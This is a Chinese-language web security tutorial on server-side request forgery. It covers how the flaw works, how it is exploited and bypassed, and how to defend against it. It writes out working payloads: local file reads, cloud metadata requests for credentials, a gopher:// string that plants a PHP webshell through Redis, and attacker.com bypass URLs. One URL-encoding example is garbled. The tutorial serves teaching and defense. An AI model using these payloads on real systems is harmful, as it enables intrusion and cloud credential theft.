SSRF漏洞:服务器端请求伪造的攻击与防御
作者:浅木·先生
来源:「浅木·先生」| 知识星球「软件测试成长圈」
所属专栏:《Web安全工程师进阶之路》
前言
SSRF(Server-Side Request Forgery,服务器端请求伪造)是一个"曲线救国"的漏洞。攻击者不能直接攻击目标,但可以让服务器代为发起请求------服务器在内网,就相当于攻击者打进了内网;服务器能访问云服务Metadata,就能拿到云凭据。
AWS、阿里云、腾讯云的Metadata接口,就是SSRF的最佳利用场景。本文系统讲解SSRF的原理、利用方式和防御。
一、SSRF原理
1.1 漏洞本质
SSRF是服务器代替攻击者发起请求。服务器通常有更高的访问权限,能访问内网资源。
php
// SSRF漏洞代码示例
$url = $_GET['url'];
$content = file_get_contents($url); // 服务器访问url
echo $content;
攻击者构造:
?url=http://127.0.0.1:22 → 探测内网端口
?url=file:///etc/passwd → 读取本地文件
?url=http://169.254.169.254/ → 探测云Metadata
1.2 SSRF与CSRF的区别
| 漏洞 | 发起请求的主体 | 权限 |
|---|---|---|
| CSRF | 用户浏览器 | 用户权限 |
| SSRF | 目标服务器 | 服务器权限(通常很高) |
二、SSRF的利用方式
2.1 探测内网端口
bash
# 探测本机端口
?url=http://127.0.0.1:22
?url=http://127.0.0.1:3306
?url=http://127.0.0.1:6379
# 探测内网其他主机
?url=http://192.168.1.100:445
?url=http://10.0.0.5:1433
通过响应时间/内容判断端口是否开放。
2.2 读取本地文件
bash
# file:// 伪协议读取本地文件
?url=file:///etc/passwd
?url=file:///var/www/html/config.php
?url=file:///C:/Windows/System32/drivers/etc/hosts
# Windows UNC路径
?url=file://\\127.0.0.1\C$\Windows\System32\drivers\etc\hosts
2.3 探测云服务Metadata(最危险)
各大云服务商都提供Instance Metadata服务:
bash
# AWS EC2 Metadata
?url=http://169.254.169.254/latest/meta-data/
?url=http://169.254.169.254/latest/user-data/ # 启动脚本,可能有凭据
# 阿里云
?url=http://100.100.100.200/latest/meta-data/
# Google Cloud
?url=http://metadata.google.internal/computeMetadata/v1/
如果能获取到云凭据,直接接管整个云账户!
2.4 利用Gopher协议攻击Redis
Gopher协议可以构造任意请求,配合Redis实现getshell:
bash
# Redis未授权访问 + Gopher协议 → 写入Webshell
?url=gopher://127.0.0.1:6379/_SET%20shell%20%22%3C%3Fphp%20eval%28%24_POST%5Bcmd%5D%29%3B%3F%3E%22%0D%0ACONFIG%20SET%20dir%20%2Fvar%2Fwww%2Fhtml%2F%0D%0ACONFIG%20SET%20dbfilename%20shell.php%0D%0ASAVE%0D%0A
2.5 利用dict协议探测Redis
bash
# dict协议探测Redis信息
?url=dict://127.0.0.1:6379/info
# 探测是否未授权
?url=dict://127.0.0.1:6379/
三、SSRF绕过技巧
3.1 IP地址绕过
bash
# 本地localhost的多种写法
127.0.0.1
localhost
0x7f000001 # 十六进制
2130706433 # 十进制
[::1] # IPv6
# 内网IP段
10.0.0.1 - 10.255.255.255
172.16.0.1 - 172.31.255.255
192.168.0.1 - 192.168.255.255
3.2 URL解析绕过
bash
# 利用@符绕过
http://attacker.com@127.0.0.1
# 部分WAF只检查host部分attacker.com,放过了@后的127.0.0.1
# 利用URL编码
http://127.0.0.1 → http://127.0.0.1(编码localhost)
http://127.1 → http://127.0.0.1
# 利用DNS重定向
# 攻击者注册一个域名,DNS指向内网IP
?url=http://attacker.com
3.3 协议绕过
bash
# phar:// 伪协议
?url=phar://127.0.0.1/shell.jpg
# jar:// 伪协议(Java)
?url=jar://http://attacker.com/shell.jar!/exploit.class
3.4 DNS重绑定绕过
bash
# 攻击者控制DNS,第一次解析到外网,第二次解析到内网
# DNS TTL=0时,每次请求都可能得到不同的IP
?url=http://attacker.com (第一次:外网 → 第二次:127.0.0.1)
四、SSRF防御方案
4.1 协议限制
php
// 只允许HTTP/HTTPS,禁止file/gopher/dict等
$scheme = parse_url($url, PHP_URL_SCHEME);
if (!in_array($scheme, ['http', 'https'])) {
die("禁止使用该协议");
}
4.2 Host/IP限制
php
// 禁止内网IP
$ip = gethostbyname(parse_url($url, PHP_URL_HOST));
if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
// 非内网IP才允许
}
php
// 黑名单内网IP段
$private_ip_blocks = [
'10.0.0.0/8',
'172.16.0.0/12',
'192.168.0.0/16',
'127.0.0.0/8',
'169.254.0.0/16', // AWS Metadata
'100.64.0.0/10' // 阿里云内网
];
4.3 URL白名单
php
// 严格白名单
$allowed_domains = ['api.baidu.com', 'cdn.example.com'];
$host = parse_url($url, PHP_URL_HOST);
if (!in_array($host, $allowed_domains)) {
die("不在白名单中");
}
4.4 禁用危险协议
php
// php.ini
# 禁用allow_url_fopen(包含本地文件)
allow_url_fopen = Off
# 禁用allow_url_include(包含远程文件)
allow_url_include = Off
五、SSRF测试清单
| 测试位置 | 测试Payload |
|---|---|
| URL参数 | ?url=http://127.0.0.1:80 |
| 图片URL | ?image=http://127.0.0.1/shell.jpg |
| 文件路径 | ?path=http://127.0.0.1/config |
| URL重定向 | 跟随跳转时是否检查最终URL |
| Webhook | ?callback=http://127.0.0.1:11211 |
总结
SSRF的核心是让服务器代替攻击者发起请求,服务器在内网有高权限,可以探测内网、读取文件、访问云Metadata。
- 内网探测: 端口扫描、存活主机发现
- 文件读取:
file://协议读取本地文件 - 云凭据: 169.254.x.x Metadata接口
- Redis getshell: Gopher协议写入Webshell
防御核心是协议限制 + IP黑名单 + 白名单验证。
关于作者
作者长期从事网络安全技术研究与实践,主要涵盖Web安全、渗透测试、内网渗透等领域。
如果你觉得这篇文章有帮助,欢迎收藏。需要进一步交流的同学,可以搜索关注「浅木·先生」,专栏会持续更新。同时也有付费版的知识星球可供直接下载工具与源码,可以搜索 软件测试成长圈